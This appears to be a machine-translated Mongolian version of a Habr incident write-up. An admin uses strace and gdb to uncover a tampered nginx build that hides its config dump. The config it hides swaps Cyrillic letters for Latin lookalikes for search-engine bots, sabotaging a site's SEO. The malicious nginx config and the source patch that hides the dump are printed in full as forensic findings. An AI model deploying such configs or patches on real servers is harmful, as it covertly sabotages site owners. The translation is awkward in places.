'a' нь 'a'-тай тэнцүү биш байх үед. Хакердсаны дараа

Миний нэг найзад хамгийн таагүй түүх тохиолдсон. Гэхдээ энэ нь Михаилд тааламжгүй байсан ч миний хувьд хөгжилтэй байсан.

Миний найз дажгүй гэж хэлэх ёстой UNIX-хэрэглэгч: системийг өөрөө суулгаж болно MySQL, PHP мөн энгийн тохиргоог хийнэ үү nginx.
Мөн тэрээр барилгын багаж хэрэгсэлд зориулагдсан хэдэн арван эсвэл нэг хагас вэбсайттай.

Гинж хөрөөд зориулагдсан эдгээр сайтуудын нэг нь хайлтын системийн ТОП-д баттай ордог. Энэ сайт нь арилжааны бус шүүмжлэгч боловч хэн нэгэн түүн рүү дайрах зуршилтай болсон. Тэр DDOS, дараа нь бүдүүлэг хүч хэрэглэж, дараа нь тэд садар самуун сэтгэгдэл бичиж, хостинг болон RKN руу урвуулан ашигласан.
Гэнэт бүх зүйл тайвширч, энэ тайван байдал нь сайн биш болж, сайт хайлтын үр дүнгийн дээд мөрүүдийг аажмаар орхиж эхлэв.

'a' нь 'a'-тай тэнцүү биш байх үед. Нэг хакердсаны дараа

Энэ бол үг байсан, тэгээд админы үлгэр.

Унтах цаг дөхөж байхад утас дуугарав: "Сан, чи миний серверийг харахгүй юу? Намайг хакердсан юм шиг санагдаж байна, би үүнийг баталж чадахгүй байна, гэхдээ энэ мэдрэмж гурав дахь долоо хоногт намайг орхисонгүй. Магадгүй би гаж донтох өвчнийг эмчлэх цаг болсон байх?

Дараа нь хагас цаг үргэлжилсэн хэлэлцүүлгийг дараах байдлаар дүгнэж болно.

  • хакердах хөрс нь нэлээд үржил шимтэй байсан;
  • халдагч супер хэрэглэгчийн эрхийг олж авах боломжтой;
  • халдлага (хэрэв болсон бол) энэ сайт руу тусгайлан чиглэсэн;
  • асуудалтай газруудыг зассан бөгөөд та ямар нэгэн нэвтрэлт байгаа эсэхийг ойлгох хэрэгтэй;
  • хакердсан нь сайтын код болон мэдээллийн санд нөлөөлж чадахгүй.

Сүүлийн цэгийн тухайд.

'a' нь 'a'-тай тэнцүү биш байх үед. Нэг хакердсаны дараа

Зөвхөн цагаан урд талын IP нь дэлхий рүү хардаг. http(ууд)-аас бусад арын болон урд талын хооронд солилцоо байхгүй, хэрэглэгчид/нууц үг өөр, түлхүүр солигдоогүй. Саарал хаягууд дээр 80/443-аас бусад бүх портууд хаалттай байна. Цагаан арын IP-г Михаил бүрэн итгэдэг хоёр хэрэглэгч л мэддэг.

Урд талд суулгасан Debian 9 мөн дуудлага хийх үед систем нь гадаад галт ханаар дэлхийгээс тусгаарлагдаж, зогсдог.

"За, надад нэвтрэх эрх өг" гэж би нэг цагийн турш унтахаар шийдэв. "Би нүдээрээ харах болно."

Энд ба цааш нь:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Боломжит хакеруудыг хайж байна

Би эхлээд серверээ эхлүүлнэ аврах горим. Би дискүүдийг холбож, тэдгээрийг эргүүлнэ баталгаажуулалт-гуалин, түүх, системийн бүртгэлүүд гэх мэт, боломжтой бол би файл үүсгэсэн огноог шалгадаг, гэхдээ би жирийн жигнэмэг араас нь "шүүрдэг" байсан бөгөөд Миша өөрийгөө хайж байхдаа аль хэдийн маш их "дээшлэсэн" байсан гэдгийг би ойлгож байна. .

Би ердийн горимд эхэлж, юу хайхаа сайн мэдэхгүй байгаа тул тохиргоог судалж байна. Юуны өмнө би сонирхож байна nginx Учир нь ерөнхийдөө урд талд үүнээс өөр зүйл байхгүй.
Тохиргоонууд нь жижиг хэмжээтэй, хэдэн арван файл болгон сайн бүтэцтэй, би зүгээр л тэдгээрийг хардаг муур'өө нэг нэгээрээ. Бүх зүйл цэвэрхэн юм шиг санагддаг, гэхдээ би ямар нэг зүйл алдсан эсэхийг та хэзээ ч мэдэхгүй оруулах, би бүрэн жагсаалтыг гаргая:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Би ойлгосонгүй: "Жагсаалт хаана байна?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Жагсаалтын асуултанд "Яагаад nginx-ийн ийм эртний хувилбар байгаа юм бэ?" Гэсэн хоёр дахь асуултыг нэмж оруулав.

Нэмж дурдахад систем нь хамгийн сүүлийн хувилбарыг суулгасан гэж үзэж байна:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Би залгаж байна:
- Миша, чи яагаад дахин угсарсан юм бэ? nginx?
- Хүлээгээрэй, би үүнийг яаж хийхээ мэдэхгүй байна!
-За за, унт...

Nginx Энэ нь тодорхой дахин бүтээгдсэн бөгөөд "-T" ашиглан жагсаалтын гаралт нь тодорхой шалтгааны улмаас нуугдаж байна. Хакердах талаар ямар ч эргэлзээ байхгүй бөгөөд та үүнийг зүгээр л хүлээн зөвшөөрч болно (Миша серверийг ямар ч байсан шинэ серверээр сольсон тул) асуудлыг шийдсэн гэж үзнэ.

Тэгээд үнэхээр хэн нэгэн эрх авсан болохоор эх'Аа, тэгвэл хийх нь утга учиртай системийг дахин суулгах, мөн тэнд юу болсныг хайх нь дэмий байсан ч энэ удаад сониуч зан нойрыг ялав. Тэд биднээс юу нуухыг хүссэнийг бид яаж олж мэдэх вэ?

Мөшгихийг хичээцгээе:

$ strace nginx -T

Бид үүнийг харж байна, a la мөр дээр хангалттай мөр байхгүй байна

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Зүгээр л хөгжилтэй байхын тулд олсон дүнг харьцуулцгаая.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Би кодын нэг хэсэг гэж бодож байна /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

хэлбэрээр авчирсан:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

буюу

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

Тиймээс "-T" гэсэн жагсаалт харагдахгүй байна.

Гэхдээ бид тохиргоогоо хэрхэн харах вэ?

Хэрэв миний бодол зөв бөгөөд асуудал зөвхөн хувьсагчид байгаа бол ngx_dump_config ашиглан суулгаж үзье gdb, аз болоход түлхүүр байна --with-cc-opt -g одоо байгаа бөгөөд оновчлолд найдаж байна -O2 энэ нь биднийг гэмтээхгүй. Үүний зэрэгцээ, би яаж гэдгийг мэдэхгүй байна ngx_dump_config -д боловсруулж болно 'T' тохиолдол:, бид энэ блок гэж нэрлэхгүй, харин үүнийг ашиглан суулгана тохиолдол 't':

Та яагаад '-t' болон '-T'-г ашиглаж болох вэ?Блок боловсруулах хэрэв(ngx_dump_config) дотор тохиолддог хэрэв(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Мэдээжийн хэрэг, кодыг энэ хэсэгт биш харин өөрчилсөн бол 'T' тохиолдол:, тэгвэл миний арга ажиллахгүй болно.

nginx.conf-г туршихТуршилтаар асуудлыг аль хэдийн шийдсэний дараа хортой програм ажиллахын тулд хамгийн бага тохиргоо шаардлагатай болохыг тогтоосон nginx төрөл:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Бид үүнийг нийтлэлд товчхон ашиглах болно.

Дибаглагчийг ажиллуулна уу

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Алхам алхамаар:

  • функцэд таслах цэгийг тогтооно гол ()
  • програмыг эхлүүлэх
  • тохиргооны гаралтыг тодорхойлдог хувьсагчийн утгыг өөрчлөх ngx_dump_config=1
  • хөтөлбөрийг үргэлжлүүлэх/дуусгах

Бидний харж байгаагаар жинхэнэ тохиргоо нь биднийхээс ялгаатай тул бид үүнээс шимэгч хэсгийг сонгодог.

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Энд юу болж байгааг дарааллаар нь харцгаая.

Шийдвэртэй байна Хэрэглэгчийн-Agentyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Үйлчилгээний хуудсуудыг оруулаагүй болно WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Дээр дурдсан хоёр нөхцөл байдалд орсон хүмүүст

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

текст дотор HTML- хуудаснууд өөрчлөгдөнө 'O' тухай 'o' и 'A' тухай 'а':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Энэ нь зөв, цорын ганц нарийн зүйл бол тэр юм 'a' != 'a' яг л адил 'o' != 'o':

'a' нь 'a'-тай тэнцүү биш байх үед. Нэг хакердсаны дараа

Тиймээс хайлтын системийн роботууд ердийн 100% кирилл бичвэрийн оронд латинаар шингэлсэн өөрчилсөн хогийг хүлээн авдаг. 'а' и 'o'. Энэ нь SEO-д хэрхэн нөлөөлөх талаар ярилцахыг би зүрхлэхгүй байна, гэхдээ ийм төөрөгдөлтэй үсэг нь хайлтын үр дүнгийн албан тушаалд эерэгээр нөлөөлөх магадлал багатай юм.

Би юу хэлэх вэ, төсөөлөлтэй залуус аа.

лавлагаа

GDB ашиглан дибаг хийж байна
gdb(1) — Линуксийн хүний ​​хуудас
strace(1) — Линуксийн хүний ​​хуудас
Nginx - Модуль ngx_http_sub_module
Хөрөө, цахилгаан хөрөө, цахилгаан хөрөөний тухай

Эх сурвалж: www.habr.com

сэтгэгдэл нэмэх